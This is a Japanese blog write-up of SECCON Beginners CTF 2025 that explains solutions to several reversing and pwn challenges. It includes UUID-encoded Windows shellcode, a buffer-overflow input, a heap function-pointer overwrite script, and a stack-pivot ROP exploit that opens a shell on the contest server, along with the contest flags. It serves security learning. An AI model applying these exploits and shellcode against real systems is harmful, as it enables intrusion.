SECCON Beginners CTF 2025 writeup

SECCON Beginners CTF 2025

ここ数年書いてなかったけど,最近アウトプットに乏しいので久々に書く.

ここ2年ほど ctf4b は yharima ではなく HelloJapwn で参加しており,今年も例年通りに. というよりもはや yharima は人がいなくて成立しないので今後復活することはない気がしてきた.

結果は 3774pts で 51st でした.いつも通り(というか勝手に自分でそうしてるだけだけど) rev/pwn 担当です.

[rev] D-compile

D言語?と思いつつバイナリを Binary Ninja で開いたらフラグが出てきたので入れたら終わってしまった.

ctf4b{N3xt_Tr3nd_D_1an9uag3_101}

[rev] wasm_S_exp

WASM のコードらしい.文法調べていると以下でオンライン実行できたので,コード断片を入れて実行してみるとどうやらインデックス(?)っぽいものが表示されることがわかった.

https://developer.mozilla.org/en-US/docs/WebAssembly/Reference/Numeric/Remainder

(module
  (import "console" "log" (func $log (param i32)))
  (func $main
    i32.const 38
    call $stir
    call $log
  )
  (func $stir (param $x i32) (result i32)
    i32.const 1024
    i32.const 23
    i32.const 37
    local.get $x
    i32.const 0x5a5a
    i32.xor
    i32.mul
    i32.add
    i32.const 101
    i32.rem_u
    i32.add
    return
  )
  (start $main)
)

これの出力結果は 1029 で元のコードには i32.const 38 の前は i32.const 0x7b が定義されている. いかにもフラグの文字の一部っぽいので,残り全部このインデックスっぽいものを得て, <index> <char> の形で並べてみると以下になった.

1029 {
1044 g
1036 _
1047 !
1024 c
1035 n
1033 _
1040 y
1027 4
1030 W
1039 5
1037 3
1028 b
1046 c
1048 }
1043 0
1025 t
1045 1
1026 f
1034 4
1038 4
1032 T
1041 _
1042 l
1031 A

ここまでくるとあとはインデックス順にソートしてやるとフラグになる.

% cat ans.txt | sort | awk '{print $2}' | tr -d '\n'
ctf4b{WAT_4n_345y_l0g1c!}%

[rev] MAFC

ランサムウェアっぽい実装になっているものを解析する問題.動作みてみると flag.txt があると flag.encrypted にして元のファイルは消してしまうようだ. Binary Ninja に突っ込んで読み込んでいくと以下であることがわかった.

  • 暗号化方式は AES-256-CBC
  • 暗号化に用いる鍵は sha256("ThisIsTheEncryptKey")
  • IV は IVCanObfuscation

これで openssl のコマンドを実行すれば良い,と思ってやってみると以下のようになって何かがおかしい.

% openssl aes-256-cbc -d -in flag.encrypted -K adafd798c69ffaef2b2bbb44364f0952b988cdd37bb66bb2cb19b5827a8a2465 -iv 495643616e4f62667573636174696f6e
c"sUO4tb,>/Y(1y0u_suc3553d_2_ana1yz3_Ma1war3!!!}

という投稿をして風呂にいっていたらメンバーが解いていた.どうも IV は UTF-16LE で設定されているので,正しい IV は 49 00 56 00 43 00 61 00 6e 00 4f 00 62 00 66 00 となるらしい. 実際にこれでやってみると以下のようになりフラグが出力される.割と泥沼に入りそうだったのでメンバーには助けられました. :bow:

% openssl aes-256-cbc -d -in flag.encrypted -K adafd798c69ffaef2b2bbb44364f0952b988cdd37bb66bb2cb19b5827a8a2465 -iv 49005600430061006e004f0062006600
ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}

[rev] code_injection

Powershellスクリプトと UUID のリストが与えられる.どうやら UUID が shellcode になっており実行されることでフラグが表示されるようだ. ただ,特定条件下でないと駄目とのことなので shellcode を解析するしかない.

どうもこの UUID を利用して任意のコードを実行するのは実際に存在している攻撃らしく,以下のような感じで shellcode が得れる.

from uuid import UUID

uuids = [
    "56525153-4157-4150-5155-4889e54883e4",
    "ec8348f0-6530-8b48-0425-60000000488b",
    "8b482040-80b0-0000-0083-3e000f84a701",
    "3e810000-0043-0054-7526-817e04460034",
    "811d7500-087e-0042-3d00-7514837e0c31",
    "8b480e75-481e-e3c1-0848-895c2420eb06",
    "02c68348-c3eb-4865-8b04-256000000048",
    "4818408b-408b-4820-8b00-488b7850488b",
    "20b9481f-2000-2000-0020-004809cb48c1",
    "334808e3-245c-4820-8b00-488b78504803",
    "20b9481f-2000-2000-0020-004809cb4889",
    "4820245c-588b-8b20-433c-4801d88bb888",
    "48000000-df01-778b-2048-01de48ba0540",
    "7d454e56-2a08-8948-5424-104831c98b14",
    "da01488e-3a81-6547-7453-7514817a0474",
    "75614864-810b-087a-6e64-6c657502eb05",
    "ebc1ff48-8bd9-2477-4801-de668b0c4e8b",
    "01481c77-8bde-8e04-4801-d848ba5b403a",
    "13404150-4852-5489-2418-b9f5ffffffff",
    "c08949d0-ba48-5908-0314-1059096b4889",
    "778b2414-4820-de01-4831-c98b148e4801",
    "573a81da-6972-7574-1481-7a0465436f6e",
    "7a810b75-7308-6c6f-6575-02eb0548ffc1",
    "778bd9eb-4824-de01-668b-0c4e48ba1f72",
    "13044e56-681c-8948-5424-088b771c4801",
    "8e048bde-0148-48d8-83ec-30488d542430",
    "48c93148-f983-7404-124c-8b4c24504c33",
    "894cca0c-ca0c-ff48-c1eb-e84c89c149c7",
    "000020c0-4d00-c931-48c7-442420000000",
    "48d0ff00-c483-eb30-0048-31c04889ec5d",
    "58415941-5e5f-595a-5bc3-000000000000"
]

output_file = open("./shellcode.bin","wb")
for uuid in uuids:
    output_file.write(UUID(uuid).bytes_le)

この shellcode.bin を Binary Ninja に突っ込み Platform として windows-x86_64 を選択するとある程度読める形になる. メイン関数らしき部分の以下が条件を表していそう.

00000050            if (*Environment == 0x540043 && *(Environment + 4) == 0x340046 && *(Environment + 8) == 0x3d0042 && *(Environment + 0xc) == 0x31)
  • 0x540043 は TC
  • 0x340046 は 4F
  • 0x3d0042 は =B
  • 0x31 は 1

CTF4B=1 といういかにもな環境変数を設定した上で Powershellスクリプトを実行すれば良さそう. というわけで Elin をプレイするためだけに作っていた Windows VM で実行するとフラグが出た.あってよかった Windows VM

> $env:CTF4B = 1
> PowerShell -ExecutionPolicy RemoteSigned C:\Users\Owner\Desktop\ctf.ps1
ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}

[pwn] pet_name

/home/pwn/flag.txt を開けば良いらしいが,以下のようになっている.

    char pet_name[32] = {0};
    char path[128] = "/home/pwn/pet_sound.txt";

    printf("Your pet name?: ");
    scanf("%s", pet_name);

scanf で pet_nameBOF して path/home/pwn/flag.txt に書き換えれば良い.

% perl -e 'print "A" x 32 . "/home/pwn/flag.txt"' | nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}

[pwn] pet_sound

実行すると以下のように flag を出力してくれる関数のアドレスを表示してくれる.

% nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!

[hint] The secret action 'speak_flag' is at: 0x618451e1c492
[*] Pet A is allocated at: 0x6184706ca2a0
[*] Pet B is allocated at: 0x6184706ca2d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x00006184706ca2a0: 0x0000618451e1c5d2 <-- pet_A->speak
0x00006184706ca2a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x00006184706ca2b0: 0x0000000000000000
0x00006184706ca2b8: 0x0000000000000000
0x00006184706ca2c0: 0x0000000000000000
0x00006184706ca2c8: 0x0000000000000031
0x00006184706ca2d0: 0x0000618451e1c5d2 <-- pet_B->speak (TARGET!)
0x00006184706ca2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00006184706ca2e0: 0x0000000000000000
0x00006184706ca2e8: 0x0000000000000000
0x00006184706ca2f0: 0x0000000000000000
0x00006184706ca2f8: 0x0000000000020d11
---------------------------------

コードとしては heap 上に確保された Pet 構造体は speak という関数と sound という文字配列をもっており,speak 関数が呼び出されることで sound に設定された内容が表示されるというもの. そして, pet_A の sound だけが書き換え可能となっている.ということは pet_Bspeak に設定されている関数を BOF で上書き speak_flag に書き換えれやれば良い. というわけで以下のようなコードを書いた(いつまで Python 2 使ってるんだろ…この人…).

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

con = remote('pet-sound.challenges.beginners.seccon.jp', 9090)

con.recvregex('is at: ')
speak_flag_addr = int(con.recvline().strip(), 16)
print(line)

payload = 'A' * 8 * 5 + pack(speak_flag_addr)
con.sendline(payload)

con.interactive()

実行すると以下のようになってフラグを得れた.

% python pet_sound.py
[+] Opening connection to pet-sound.challenges.beginners.seccon.jp on port 9090: Done
<function line at 0x10221a450>
[*] Switching to interactive mode
[*] Pet A is allocated at: 0x5aa15f59c2a0
[*] Pet B is allocated at: 0x5aa15f59c2d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x00005aa15f59c2a0: 0x00005aa142f555d2 <-- pet_A->speak
0x00005aa15f59c2a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x00005aa15f59c2b0: 0x0000000000000000
0x00005aa15f59c2b8: 0x0000000000000000
0x00005aa15f59c2c0: 0x0000000000000000
0x00005aa15f59c2c8: 0x0000000000000031
0x00005aa15f59c2d0: 0x00005aa142f555d2 <-- pet_B->speak (TARGET!)
0x00005aa15f59c2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005aa15f59c2e0: 0x0000000000000000
0x00005aa15f59c2e8: 0x0000000000000000
0x00005aa15f59c2f0: 0x0000000000000000
0x00005aa15f59c2f8: 0x0000000000020d11
---------------------------------

Input a new cry for Pet A >
[Heap State After Input]

--- Heap Layout Visualization ---
0x00005aa15f59c2a0: 0x00005aa142f555d2 <-- pet_A->speak
0x00005aa15f59c2a8: 0x4141414141414141 <-- pet_A->sound
0x00005aa15f59c2b0: 0x4141414141414141
0x00005aa15f59c2b8: 0x4141414141414141
0x00005aa15f59c2c0: 0x4141414141414141
0x00005aa15f59c2c8: 0x4141414141414141
0x00005aa15f59c2d0: 0x00005aa142f55492 <-- pet_B->speak (TARGET!)
0x00005aa15f59c2d8: 0x00002e2e2e6e610a <-- pet_B->sound
0x00005aa15f59c2e0: 0x0000000000000000
0x00005aa15f59c2e8: 0x0000000000000000
0x00005aa15f59c2f0: 0x0000000000000000
0x00005aa15f59c2f8: 0x0000000000020d11
---------------------------------
Pet says: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x92T�B�Z

**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
[*] Got EOF while reading in interactive

[pwn] pivot4b

一部如何にも ROP で利用してください,という関数があるが素朴な実装で脆弱性として BOF がある.ただし書き換え可能なのは saved RBP と リターンアドレス まで. ただ,スタック上の message アドレスは出力されているので stack pivot してください,というような問題.

void gift_set_first_arg() {
    asm volatile("pop %rdi");
    asm volatile("ret");
}

void gift_call_system() {
    system("echo \"Here's your gift!\"");
}

int main() {
    char message[0x30];

    printf("Welcome to the pivot game!\n");
    printf("Here's the pointer to message: %p\n", message);

    printf("> ");
    read(0, message, sizeof(message) + 0x10);

    printf("Message: %s\n", message);

    return 0;
}

方針としては, message に実行したい ROP gadget を突っ込んでおき stack pivot でそれらの ROP gadget を実行する. 前提として leave 命令は mov rsp, rbp; pop rbp が, ret 命令は pop rsi が実行されることを頭に入れておく.

stack pivot するには saved RBP に message のアドレスを,リターンアドレスには leave; ret が実行されるアドレスを設定する. 具体的には message は以下のような構造になる(1行は 8 バイトで左側が元ある値).

---------------------------------------------
| message[0x00-0x08]  | ROP gadget 1        |
| message[0x09-0x10]  | ROP gadget 2        |
| message[0x11-0x18]  | ROP gadget 3        |
| message[0x18-0x20]  | ROP gadget 4        |
| message[0x21-0x28]  | ROP gadget 5        |
| message[0x29-0x30]  | ROP gadget 6        |
| saved RBP           | message のアドレス    |
| ret addr            | leave; ret のアドレス |

こうすることで,まず最初の本来の main 関数の実行が終わるタイミングで leave 命令が実行されると pop rbp により rbp に message のアドレスがセットされる. そして続けて書き換えた ret addr によって再度 leave が実行されるので mov rsp, rbp が実行され, rsp が message のアドレスにセットされる. 続けて ret が実行されると pop rsi により rsi に message の先頭に積んだ値(上図では ROP gadget 1)のアドレスへ移動することができる. 実際には message のアドレス + 0x08 のアドレスにずれるので message のアドレス - 0x08 を積んでおく必要はある.

ここまでくれば,あとは ROP gadget を組み立てればよくて, pop rdisystem@plt も準備されているという状況なので,以下のように ROP gadget を組み立てる,

---------------------------------------------
| message[0x00-0x08]  | pop rdi のアドレス    |
| message[0x09-0x10]  | /bin/sh\0 のアドレス  | <- 実体は message[0x18-0x20] のアドレス
| message[0x11-0x18]  | system@plt のアドレス |
| message[0x18-0x20]  | "/bin/sh\0"         |
| message[0x21-0x28]  | AAAAAAAA            | <- 後続(saved RBP/ret addr)を書き換える必要があるので適当に埋めておく
| message[0x29-0x30]  | AAAAAAAA            | <- 同上

実際に書いたコードは以下.

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

con = remote('pivot4b.challenges.beginners.seccon.jp', 12300)

con.recvregex('message: ')
message_addr = int(con.recvline().strip(), 16)

payload = pack(0x40117a) # pop rdi
payload += pack(message_addr + 0x18)
payload += pack(0x401040) # system@plt
payload += "/bin/sh" + "\x00"
payload += 'AAAAAAAA' * 2
payload += pack(message_addr - 0x08)
payload += pack(0x401211) # leave; ret
con.sendline(payload)

con.interactive()

実行結果は以下.

% python pivot4b.py
[+] Opening connection to pivot4b.challenges.beginners.seccon.jp on port 12300: Done
[*] Switching to interactive mode
> Message: z\x11
$ ls -l
total 20
-rw-r--r-- 1 nobody nogroup    42 Jul 22 14:42 flag-bce7759151aa98ff2e61358f578ec2eb.txt
-rwxr-xr-x 1 nobody nogroup 15856 Jul 22 14:42 run
$ cat flag-bce7759151aa98ff2e61358f578ec2eb.txt
ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}

まとめ

  • 半年以上ぶり(?)くらいに CTF に参加したのでやはりなまっていると感じた
  • 一方で rev は hard まで解けて良かった
  • pwn は stack pivot がちゃんとできたのは良かった(久々すぎてちょっと手こずった)
  • pivot4b++ は解きたかった(終了後に色々やってなんとか解けた)
  • kernel 問題は解いてみたい,みた感じ Race condition の脆弱性がありそう?
  • メンバーがガリガリ解いててすごかった(そのうち居場所なくなりそうでこわい)
  • もう少し CTF への参加頻度をあげて復習も頑張りたい
  • いい加減 pwntool 使ってるコードは Ptyhon 3 に移行しないと…